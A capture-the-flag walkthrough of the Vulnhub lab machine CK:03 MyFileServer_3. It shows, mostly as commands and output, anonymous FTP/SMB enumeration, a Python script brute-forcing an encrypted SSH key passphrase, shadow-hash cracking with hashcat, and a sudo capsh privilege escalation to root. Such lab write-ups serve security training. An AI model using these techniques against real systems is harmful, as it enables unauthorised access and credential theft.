Vulnhub Ck03
by jake
This week we are taking a look at the vulnhub machine CK: 03 - MyFileServer_3. We chose this box because it was the latest released and likely didn’t have any writeups. It also mentions that there are multiple ways to both user and root, so hopefully we have enough time to look at them.
By default this machine is configured with the network adapter in Host-Only mode. This is fine if you are attacking it from your host machine, but we use a Kali VM. In order for the two to be able to see each other we need to change the setting to NAT.
This machine doesn’t give us it’s IP address when we run it, so we have to start off with a quick ping sweep to figure it out. We can do this with nmap and it is also surprisingly fast!
root@kali: nmap -sP 192.168.232.1-254
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 14:19 AEST
Nmap scan report for 192.168.232.1
Host is up (0.000090s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.232.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:F1:93:59 (VMware)
Nmap scan report for 192.168.232.129
Host is up (0.00013s latency).
MAC Address: 00:0C:29:65:D5:18 (VMware)
Nmap scan report for 192.168.232.254
Host is up (0.00016s latency).
MAC Address: 00:50:56:E1:0D:D6 (VMware)
Nmap scan report for 192.168.232.132
Host is up.
Nmap done: 254 IP addresses (5 hosts up) scanned in 2.04 seconds
Our attacker machine is sitting on .132 meaning our target must be .129. We hit it with our standard nmap scan and see if we are correct:
root@kali: nmap -sC -sV -oN nmap 192.168.232.129
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 14:19 AEST
Nmap scan report for 192.168.232.129
Host is up (0.000094s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 0 0 16 Feb 19 07:48 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.232.132
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
| 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 34013/udp nlockmgr
| 100021 1,3,4 48317/tcp6 nlockmgr
| 100021 1,3,4 50582/udp6 nlockmgr
| 100021 1,3,4 58202/tcp nlockmgr
| 100024 1 42698/tcp status
| 100024 1 48602/udp6 status
| 100024 1 50354/udp status
| 100024 1 57602/tcp6 status
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)
2121/tcp open ftp ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 root root 16 Feb 19 07:48 pub [NSE: writeable]
MAC Address: 00:0C:29:65:D5:18 (VMware)
Service Info: Host: FILESERVER; OS: Unix
Host script results:
|_clock-skew: mean: 8h09m59s, deviation: 3h10m30s, median: 9h59m57s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.1)
| Computer name: localhost
| NetBIOS computer name: FILESERVER\x00
| Domain name: \x00
| FQDN: localhost
|_ System time: 2020-04-19T19:50:02+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-19T14:20:02
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.02 seconds
That looks a lot like what we expect to see. Time to work our way through the list.
Nmap tells us that we have anonymous access to the FTP as well as full control over the “pub” folder:
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 0 0 16 Feb 19 07:48 pub [NSE: writeable]
Lets connect and see what else might be on there..
root@kali: ftp -p 192.168.232.129
Connected to 192.168.232.129.
220 (vsFTPd 3.0.2)
Name (192.168.232.129:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,77).
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 16 Feb 18 11:31 .
drwxr-xr-x 3 0 0 16 Feb 18 11:31 ..
drwxrwxrwx 3 0 0 16 Feb 19 07:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,33).
150 Here comes the directory listing.
drwxrwxrwx 3 0 0 16 Feb 19 07:48 .
drwxr-xr-x 3 0 0 16 Feb 18 11:31 ..
drwxr-xr-x 9 0 0 4096 Feb 19 07:48 log
226 Directory send OK.
tp> cd log
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,109).
150 Here comes the directory listing.
drwxr-xr-x 9 0 0 4096 Feb 19 07:48 .
drwxrwxrwx 3 0 0 16 Feb 19 07:48 ..
drwxr-xr-x 2 0 0 4096 Feb 19 07:48 anaconda
drwxr-x--- 2 0 0 22 Feb 19 07:48 audit
-rw-r--r-- 1 0 0 7033 Feb 19 07:48 boot.log
-rw------- 1 0 0 10752 Feb 19 07:48 btmp
-rw-r--r-- 1 0 0 9161 Feb 19 07:48 cron
-rw-r--r-- 1 0 0 31971 Feb 19 07:48 dmesg
-rw-r--r-- 1 0 0 31971 Feb 19 07:48 dmesg.old
drwxr-xr-x 2 0 0 6 Feb 19 07:48 glusterfs
drwx------ 2 0 0 39 Feb 19 07:48 httpd
-rw-r--r-- 1 0 0 292584 Feb 19 07:48 lastlog
-rw------- 1 0 0 3764 Feb 19 07:48 maillog
-rw------- 1 0 0 1423423 Feb 19 07:48 messages
drwx------ 2 0 0 6 Feb 19 07:48 ppp
drwx------ 4 0 0 43 Feb 19 07:48 samba
-rw------- 1 0 0 63142 Feb 19 07:48 secure
-rw------- 1 0 0 0 Feb 19 07:48 spooler
-rw------- 1 0 0 0 Feb 19 07:48 tallylog
drwxr-xr-x 2 0 0 22 Feb 19 07:48 tuned
-rw-r--r-- 1 0 0 58752 Feb 19 07:48 wtmp
-rw------- 1 0 0 100 Feb 19 07:48 xferlog
-rw------- 1 0 0 18076 Feb 19 07:48 yum.log
226 Directory send OK.
We have a log directory. We don’t have a lot of permissions here, so we get all the files we can.
root@kali: ls -la
total 472
drwxr-xr-x 2 root root 4096 Apr 19 14:30 .
drwxr-xr-x 3 root root 4096 Apr 19 14:26 ..
-rw-r--r-- 1 root root 7033 Apr 19 14:27 boot.log
-rw-r--r-- 1 root root 9161 Apr 19 14:28 cron
-rw-r--r-- 1 root root 31971 Apr 19 14:28 dmesg
-rw-r--r-- 1 root root 31971 Apr 19 14:28 dmesg.old
-rw-r--r-- 1 root root 292584 Apr 19 14:29 lastlog
-rw-r--r-- 1 root root 29190 Apr 19 14:29 tuned.log
-rw-r--r-- 1 root root 58752 Apr 19 14:29 wtmp
Looking through these files we are able to determine that that machine is running the linux kernel 3.10.0-229.el7.x86_64. We also note that there have been two logins one from the root user and one from an smbuser. (We found these in the wtmp file)
Continuing down the list, we will have to come back to port 22 once we have something useful to SSH.
80 hosts a website so we navigate to that:
Pretty straight forward static HTML site with nothing interesting. We still run a gobuster to be sure:
root@kali:gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 -u http://192.168.232.129/ -x html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.232.129/
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,txt
[+] Timeout: 10s
===============================================================
2020/04/19 14:45:20 Starting gobuster
===============================================================
/index.html (Status: 200)
===============================================================
2020/04/19 14:46:41 Finished
===============================================================
NOTE: Trying a few different wordlists we find that there is a .ssh directory that also contains the id_rsa key
On port 111 we have RPCBIND. rpcbind is a port mapper, it is used to map other RPC services such as nfs, mountd etc to a corresponding port on the server. We see the mapping table in our nmap results. In our case we can see that NFS is on port 2049 and also that port 2049 is open to us externally.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
...
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
...
2049/tcp open nfs_acl 3 (RPC #100227)
rpcbind is not directly exploitable, but we can enumerate the open port 2049 to see if there are any network shares we can mount. But for now let’s continue down the list
On ports 139 and 445 we have smb, another file share service. This is likely the best candidate for our smbuser we discovered earlier.
Doing some enumeration of the SMB service we see that we have a readable directory:
root@kali: smbmap -H 192.168.232.129
[+] IP: 192.168.232.129:445 Name: 192.168.232.129
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
smbdata READ, WRITE smbdata
smbuser NO ACCESS smbuser
IPC$ NO ACCESS IPC Service (Samba 4.9.1)
Whenever we have SMB open we should always try to connect with a null session. Trying to connect with a null session we also can see that we have a massive range of commands we can run on the server:
root@kali: rpcclient -U "" -N 192.168.232.129
rpcclient $> ?
--------------- ----------------------
CLUSAPI
clusapi_open_cluster bla
clusapi_get_cluster_name bla
clusapi_get_cluster_version bla
clusapi_get_quorum_resource bla
clusapi_create_enum bla
clusapi_create_enumex bla
clusapi_open_resource bla
clusapi_online_resource bla
clusapi_offline_resource bla
clusapi_get_resource_state bla
clusapi_get_cluster_version2 bla
--------------- ----------------------
WITNESS
GetInterfaceList
Register
UnRegister
AsyncNotify
RegisterEx
--------------- ----------------------
FSRVP
fss_is_path_sup Check whether a share supports shadow-copy requests
...
lsasettrustdominfo Set LSA trusted domain info
getusername Get username
createsecret Create Secret
deletesecret Delete Secret
querysecret Query Secret
setsecret Set Secret
retrieveprivatedata Retrieve Private Data
storeprivatedata Store Private Data
createtrustdom Create Trusted Domain
deletetrustdom Delete Trusted Domain
--------------- ----------------------
GENERAL OPTIONS
help Get help on commands
? Get help on commands
debuglevel Set debug level
debug Set debug level
list List available commands on <pipe>
exit Exit program
quit Exit program
sign Force RPC pipe connections to be signed
seal Force RPC pipe connections to be sealed
packet Force RPC pipe connections with packet authentication level
schannel Force RPC pipe connections to be sealed with 'schannel'. Assumes valid machine account to this domain controller.
schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel'. Assumes valid machine account to this domain controller.
timeout Set timeout (in milliseconds) for RPC operations
transport Choose ncacn transport for RPC operations
none Force RPC pipe connections to have no special properties
-U "" is saying to use an empty username and -N is to use no password.
Some useful commands help us enumerate further and find more information about the server and users:
rpcclient $> srvinfo
FILESERVER Wk Sv PrQ Unx NT SNT Samba 4.9.1
platform_id : 500
os version : 6.1
server type : 0x809a03
rpcclient $> enumdomusers
user:[smbuser] rid:[0x3e8]
rpcclient $> enumalsgroups domain
rpcclient $> enumalsgroups builtin
rpcclient $> lookupnames smbuser
smbuser S-1-5-21-1584567012-685468033-1030942069-1000 (User: 1)
rpcclient $> queryuser 1000
User Name : smbuser
Full Name :
Home Drive : \\fileserver\smbuser
Dir Drive :
Profile Path: \\fileserver\smbuser\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Thu, 01 Jan 1970 10:00:00 AEST
Logoff Time : Thu, 07 Feb 2036 01:06:39 AEST
Kickoff Time : Thu, 07 Feb 2036 01:06:39 AEST
Password last set Time : Tue, 18 Feb 2020 21:47:37 AEST
Password can change Time : Tue, 18 Feb 2020 21:47:37 AEST
Password must change Time: Thu, 14 Sep 30828 12:48:05 AEST
unknown_2[0..31]...
user_rid : 0x3e8
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Shame. Looks like there is only the smbuser. Oh well. Keep enumerating, but there is nothing too interesting. The next step is to try and connect to the share and see whats going on.
We can connect anonymously in a similar way to FTP by using smbclient:
root@kali: mkdir smbdata && cd smbdata
root@kali smbdata: smbclient \\\\192.168.232.129\\smbdata -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Apr 21 01:03:55 2020
.. D 0 Tue Feb 18 21:47:54 2020
anaconda D 0 Tue Feb 18 21:48:15 2020
audit D 0 Tue Feb 18 21:48:15 2020
boot.log N 6120 Tue Feb 18 21:48:16 2020
btmp N 384 Tue Feb 18 21:48:16 2020
cron N 4813 Tue Feb 18 21:48:16 2020
dmesg N 31389 Tue Feb 18 21:48:16 2020
dmesg.old N 31389 Tue Feb 18 21:48:16 2020
glusterfs D 0 Tue Feb 18 21:48:16 2020
lastlog N 292292 Tue Feb 18 21:48:16 2020
maillog N 1982 Tue Feb 18 21:48:16 2020
messages N 684379 Tue Feb 18 21:48:17 2020
ppp D 0 Tue Feb 18 21:48:17 2020
samba D 0 Tue Feb 18 21:48:17 2020
secure N 11937 Tue Feb 18 21:48:17 2020
spooler N 0 Tue Feb 18 21:48:17 2020
tallylog N 0 Tue Feb 18 21:48:17 2020
tuned D 0 Tue Feb 18 21:48:17 2020
wtmp N 25728 Tue Feb 18 21:48:17 2020
xferlog N 100 Tue Feb 18 21:48:17 2020
yum.log N 10915 Tue Feb 18 21:48:17 2020
sshd_config N 3906 Wed Feb 19 17:46:38 2020
todo N 162 Wed Feb 26 00:22:29 2020
id_rsa N 1766 Thu Mar 19 14:43:16 2020
note.txt N 128 Thu Mar 19 14:53:12 2020
19976192 blocks of size 1024. 18164892 blocks available
smb: \>
All we are doing here is using the smbclient to connect to the known share and the -N flag tells smbclient to connect anonymously. (the same way we manually type user: anonymous and no password with FTP).
What is interesting here is that it looks like we are in the same folder our FTP was in.. But this time there are more files being listed. What this probably means is that the SMB service runs as a user with higher permissions than FTP does, so we are seeing files that only (presumably smbuser) has access to. Notably for us are files such as id_rsa and sshd_config etc. Pull those off locally and see what they contain:
smb: \> get id_rsa
getting file \id_rsa of size 1766 as id_rsa (431.1 KiloBytes/sec) (average 431.2 KiloBytes/sec)
smb: \> get sshd_config
getting file \sshd_config of size 3906 as sshd_config (1271.4 KiloBytes/sec) (average 791.3 KiloBytes/sec)
smb: \> get todo
getting file \todo of size 162 as todo (52.7 KiloBytes/sec) (average 569.7 KiloBytes/sec)
smb: \> get note.txt
getting file \note.txt of size 128 as note.txt (41.7 KiloBytes/sec) (average 447.9 KiloBytes/sec)
Reading the contents we find something interesting in note.txt:
root@kali /smbdata: cat note.txt
I removed find command for security purpose, But don't want to delete 'getcap'.
I don't think 'getcap & capsh' known to anyone
Sounds like a good privesc candidate!
The ssh_config tells us that root is allowed to log in with ssh, and also that password auth is disabled, so we must use a private key. Lucky for us, id_rsa is a common / default name for a private ssh key. The suspense is killing us, time to read it:
root@kali /smbdata:cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0111C403C183156C592743C68EA855BD
TRNiuBMH2lIgWgYpBb4MgbhQtW84gdUTJDRQLp/qwBv/KTbycWu+R07J2lGEFJH8
8G1nZ+bjnPayjTyywY5PGySQ4k5pWvmNin16TEAII7XO6Jv+/Ev/N4sPdKe7K3bN
TpJ39S5DVuj4oTTswvUp3dYU6ynu3Qp9PBRdBJnazbK5hwkxOyqa5l1dCfRDpaWf
hPM+GhXbHOvzj+Z9wvlrTuPASsBrCnXd/MAxRmNfDMCHlPHVATEChoP89awwoti5
itxcxqIWGIqilnlm7Dcy2lynE7LlXdXyJAnUI0Plra9PTqC4QoJL3Lyesypzp9Xk
kB9Hv25vherfgjy6AKBcIqZuALtFL2mij7nYC21XxcDudKCaB+UxOQhGBLNN0E16
7bNvnKebLmhyWhDNVaelvF9cd+mxvvPzv5ljhUd3jvhhyU70AgzrpF1ZUxVh2GOs
huzbtCIwX3I+xAQYdw+sThTRG8GcXLjreEUF4gJqlPNWk9gxH/AmfTmGKdLhhoSb
/7wHeMvLwSRaVv6fyPXhPpiB5c3MHCoHFYi6sbmmtYXJBum9fF9iubIzlRu/4vZ2
irmnsEff3vkqqPchb6M0zMtw80QPJgpjhclJjDPiI5P1DWjgLNYOQba0nKNQ3RFa
iy2lup+EsCqWU0KTI+hH+Xm0YAq2/ESqPeNp/U+78y8L5JkpavRYNJyx+vGV8XPP
dGkZD8x68xLIwF6/urZC6utRa1HgyEDIcUbyTUnbRkLUFWbN9eHLrY0pH+zhKJOj
14cUAOpB9RkxAoE6YJ03vJq72OoxfCYhiv3fj4pQRuQJwA2c8IfgdwIJqBIMVPvV
5HX3j5ugkyocLl5Rg+oXjyhNczmABJehk9gA0eCcfQpXGPw/OBMJ4BJdUHxbCOtQ
lAstu+fNBosFhkj3lHXX/ZNIKcYs9+Mvs3E2DvmcK7Us/59qsCwHRZNvd2E3EF9r
nNuHg8sY5HxMvMNH46PH8c4EesuNvOW2pvaCHCT5Id3Up1yyP09hoxyyovnPQ/Gj
HXffEjkc82t9Ip476mfo0NBzB4g7sOb4ZXhG8RxHS4d83S5bITzHP8RrlmkdKCjH
U5YMap/xQ++4XTtgX8DjVoZw1imRtNsCQk6fe0UVKzg2nFV8rkOU8A1o6NDcjE/Z
V/PsYJT3CTEvlzq1/4lLQN2nLrpwmlu+Ate5CEmKxqDIpSIzQBl5N4cU5aa/L1XG
2nFA4H1Ipo7CaUQZ3lQGC/wHaWcP0KnZQ/SrInGOQVu1RJe3MhyG3TyC06FVfmgV
m4oqf39lGQlYX8+cTCK8w6nI6gnSsW92U9j5s9iGEZKN2bI1poyurQaExFiDub6m
QzYWqY1+EUBUYzFMlR08TeHXLvoAmgJNcnZlhXuhWsl6z95UMKvRBLN3Dc4kIVZx
sBZmlYhqhwl0AWYQOl1tJrOMiqLeMhF+xWZ3J/iZ9Pj37Dz9xL8YiA8YUNC/NqT+
3j1s3USXPL0uyxS7tnJJf3aXMBi0XwwHWZg4ii8JQhGiiPhGBE9lpRyPhYCx3xDC
ED/GW22/sWS5fhDr4tynP8VdjiFwbBEcXYHa84XjeUZZaLJQTSwnE/afWVYty8AX
-----END RSA PRIVATE KEY-----
Damn! Encrypted. That’s ok. We can try a dictionary attack against the key and see if we can get the password.
Now we could always use ssh2john and then pass it over to JohnTheRipper, but instead we are going to roll our own basic python script:
root@kali: cat rsa_decrypt.py
import asyncssh # pip install asyncssh (https://asyncssh.readthedocs.io/en/latest/api.html)
enc_file = "id_rsa FILE LICATION"
word_list = "/usr/share/seclists/Passwords/Common-Credentials/best110.txt" # Wordlist file
# Open the dictionary and loop line by line testing the password against the key
# if the private key is exported the password worked.
with open(word_list) as f:
for line in f:
try:
key = asyncssh.read_private_key(enc_file, str(line.strip()))
if key and line:
print("Decrypted '{0}' with: {1}".format(enc_file, line))
except Exception as ex:
next
This script could use a lot of work to become more useful and reusable, but it was a quick and dirty and gets the job done. When we run it we can see that they used a very simple password:
root@kali: python rsa_decrypt.py
Decrypted '/root/vulnhub/ck3/smb/smbdata/id_rsa' with: password
Now we should be able to ssh into the box!
First we need to set the right permissions on the id_rsa file:
root@kali /smbdata: chmod 600 id_rsa
root@kali /smbdata: ssh -i id_rsa smbuser@192.168.232.129
##############################################################################################
# InfoSec Warrior #
# --------- www.InfoSecWarrior.com ------------ #
# My File Server - 3 #
# Just a simple addition to the problem #
# Designed By :- CyberKnight #
# Twitter :- @CyberKnight00 #
##############################################################################################
Enter passphrase for key 'smb/smbdata/id_rsa': password
Last login: Thu Mar 19 10:15:35 2020 from 192.168.56.1
[smbuser@fileserver ~]$
When prompted enter the super secure password ‘password’ and we are in!
From our first command we notice straight away that there is a SUID binary owned by root in our home directory:
smbuser@fileserver ~]$ ls -la
total 28
drwx---r-x 3 smbuser smbuser 102 Mar 19 10:22 .
drwxr-xr-x. 4 root root 30 Feb 25 16:21 ..
-rw------- 1 smbuser smbuser 103 Mar 19 10:22 .bash_history
-rw-r--r-- 1 smbuser smbuser 18 Mar 6 2015 .bash_logout
-rw-r--r-- 1 smbuser smbuser 193 Mar 6 2015 .bash_profile
-rw-r--r-- 1 smbuser smbuser 231 Mar 6 2015 .bashrc
-rwsr-xr-x 1 root root 8851 Feb 27 00:22 runme
drwx------ 2 smbuser smbuser 58 Feb 25 15:43 .ssh
We use SCP to grab a local copy of the file and do some enumeration and reversing of it.
root@kali /smbdata: scp -i id_rsa smbuser@192.168.232.129:/home/smbuser/runme ~/vulnhub/ck3
Running ltrace we notice that it calls the function fgets():
root@kali /smbdata: ltrace ./runme
__libc_start_main(0x40070e, 1, 0x7fffe0db8fe8, 0x400750 <unfinished ...>
fgets(/etc/passwd
"/etc/passwd\n", 40, 0x7fb408d15a00) = 0x7fffe0db8ed0
puts("Why are you here ?!"Why are you here ?!
) = 20
+++ exited (status 20) +++
strings shows something interesting that it looks like it has code to call a flag:
root@kali /smbdata: strings runme
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setreuid
stdin
fgets
system
geteuid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-X
UH-X
[]A\A]A^A_
/bin/sh
/bin/cat /home/bla/user.txt
Why are you here ?!
;*3$"
GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-39)
It’s time to dive deeper and see what we might need to send as input to make it cat the user.txt. To do this we use ghidra:
The main() function is very simple. local_10 is hard-coded to be “wrong” and is then called once the fgets recieves our user input. 0x28 is 40 in decimal, so it looks like the fgets is storing the user input correctly and this will not be overflowable.
Looking at the functions, we can see that there is a wrong() and a flag() function. There is also a function called right() which calls /bin/sh:
void right(void)
{
__uid_t __euid;
__uid_t __ruid;
__euid = geteuid();
__ruid = geteuid();
setreuid(__ruid,__euid);
system("/bin/sh");
return;
}
We don’t have permissions to patch and overwrite the file and the fgets function is not overflowable, so we didn’t spend too much more time on this incase it was a rabbit hole. The machine description mentions that there are many ways into this box, so being lazy, we go looking for an easier route. We will hopefully come back to this binary later.
Because the note.txt mentioned that we don’t have find or locate we enlist the help of LinEnum.sh to help speed up our local enumeration.This script automates a bunch of checks we would normally perform manually:
root@kali /smbdata: scp -i id_rsa /usr/share/webhandler/modules/escalation/LinEnum.sh smbuser@192.168.232.129:/home/smbuser
Once that has copied over we can run it:
[smbuser@fileserver ~]$ chmod +x LinEnum.sh
[smbuser@fileserver ~]$ ./LinEnum.sh > LinEnum.log
Combing through the results we can see that we have read access to the shadow file and therfore all user hashes:
[+] We can read the shadow file!
root:$6$zWU8uYN5$iHT030gilg9kM1iYCZt/z3q4fWpSNHwwLElFWof/C3MfbqgmbWAnG5sXFEdkMj60MLvYc6HEB7/REq2u2aVVh0:18317:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7:::
adm:*:16372:0:99999:7:::
lp:*:16372:0:99999:7:::
sync:*:16372:0:99999:7:::
shutdown:*:16372:0:99999:7:::
halt:*:16372:0:99999:7:::
mail:*:16372:0:99999:7:::
operator:*:16372:0:99999:7:::
games:*:16372:0:99999:7:::
ftp:*:16372:0:99999:7:::
nobody:*:16372:0:99999:7:::
avahi-autoipd:!!:18310::::::
dbus:!!:18310::::::
polkitd:!!:18310::::::
tss:!!:18310::::::
postfix:!!:18310::::::
sshd:!!:18310::::::
systemd-network:!!:18310::::::
gluster:!!:18310::::::
smbuser:$6$ePvCCtcG$mAQFQldd7/k25o51NK2gkccL24r7DzhrqZGTyjoLlhOCKb060BuB/X6Qlc7noUv61K9NXtaPeWnYRlLWigBfF1:18317:0:99999:7:::
rpc:!!:18311:0:99999:7:::
tcpdump:!!:18311::::::
rpcuser:!!:18311::::::
nfsnobody:!!:18311::::::
apache:!!:18311::::::
bla:$6$ENV.HdIK$huk85ZxIDwa7jK8W1i0cfV/s67QDyYFaEHVrrpKjYesEJXAiaTo4jtNvfmKD4y1ULhub6gahOVIBaXxcpgm0n.:18317:0:99999:7:::
NOTE: As an alternate path, LinEnum also finds /usr/bin/elevate which is a similar SUID binary to the bla user.
moving out of our VM for a second, we head over to Hashcat to crack the shadow hashes:
hashcat64.exe -m 1800 ck3 rockyou.txt
-m 1800 is the Linux sha512crypt $6$, SHA512 (Unix) mode.
We quickly get the smbuser as expected to be “password”.
Eventually, our results are in:
smbuser - $6$ePvCCtcG$mAQFQldd7/k25o51NK2gkccL24r7DzhrqZGTyjoLlhOCKb060BuB/X6Qlc7noUv61K9NXtaPeWnYRlLWigBfF1:password
bla - $6$ENV.HdIK$huk85ZxIDwa7jK8W1i0cfV/s67QDyYFaEHVrrpKjYesEJXAiaTo4jtNvfmKD4y1ULhub6gahOVIBaXxcpgm0n.:itiseasy
root - $6$zWU8uYN5$iHT030gilg9kM1iYCZt/z3q4fWpSNHwwLElFWof/C3MfbqgmbWAnG5sXFEdkMj60MLvYc6HEB7/REq2u2aVVh0:infosec
Path #1 - We can use
suto go directly to root with the cracked password.
Using the bla password, we can access the user flag:
[smbuser@fileserver ~]$ su bla
Password:
[bla@fileserver smbuser]$ cd ~
[bla@fileserver ~]$ ls -la
total 40
drwx------ 2 bla bla 121 Feb 27 00:29 .
drwxr-xr-x. 4 root root 30 Feb 25 16:21 ..
lrwxrwxrwx 1 bla bla 9 Feb 25 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 bla bla 18 Mar 6 2015 .bash_logout
-rw-r--r-- 1 bla bla 193 Mar 6 2015 .bash_profile
-rw-r--r-- 1 bla bla 231 Mar 6 2015 .bashrc
-rw-rw-r-- 1 bla bla 516 Feb 27 00:29 user.txt
-rw------- 1 bla bla 731 Feb 26 23:36 .viminfo
-rwxr-xr-x 1 root root 18744 Feb 25 16:22 ynetd
[bla@fileserver ~]$ cat user.txt
_____ _ _ ____ _____
| ___(_) | ___/ ___| ___ _ ____ _____ _ __ |___ /
| |_ | | |/ _ \___ \ / _ \ '__\ \ / / _ \ '__| _____ |_ \
| _| | | | __/___) | __/ | \ V / __/ | |_____| ___) |
|_| |_|_|\___|____/ \___|_| \_/ \___|_| |____/
Flag : 0aab4a2c6d75db7ca2542e0dacc3a30f
you can crack this hash, because it is also my pasword
note: crack it, itiseasy
The flag is just the users password “itiseasy” as an MD5.
While we waited for the root password to crack we took a poke around as bla. As we do with our standard local enumeration we test if we have any sudo permissions:
[bla@fileserver smbuser]$ sudo -l
Matching Defaults entries for bla on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User bla may run the following commands on this host:
(ALL) NOPASSWD: /usr/sbin/capsh, (ALL) /usr/sbin/setcap
it has sudo permissions to capsh and setcap which leads back to the note.txt file from earlier.
Looking at the man page for capsh we can see that there is the -- argument that will
Execute /bin/bash with trailing arguments. Note, you can use -c ‘command to execute’ for specific commands.
This means we can use it to drop straight into a root shell:
[bla@fileserver smbuser]$ sudo /usr/sbin/capsh --
[root@fileserver smbuser]# whoami
root
Root proof.txt:
[root@fileserver ~]# cat proof.txt
_______ __ _____ _____
/ ____(_) /__ / ___/___ ______ _____ _____ |__ /
/ /_ / / / _ \\__ \/ _ \/ ___/ | / / _ \/ ___/ ______ /_ <
/ __/ / / / __/__/ / __/ / | |/ / __/ / /_____/ ___/ /
/_/ /_/_/\___/____/\___/_/ |___/\___/_/ /____/
flag : 7be[REDACTED]6e9
Our root paths so far are:
- Use the cracked password from /etc/shadow
- Use sudo /usr/sbin/capsh – as the bla to open a root shell
- Hopefully there is something in the runme binary but we haven’t worked it out yet
This was a quick and easy box, that hopefully taught you something new. It looks like there are many many more paths to root. Let us know if you find any interesting ones yourself!
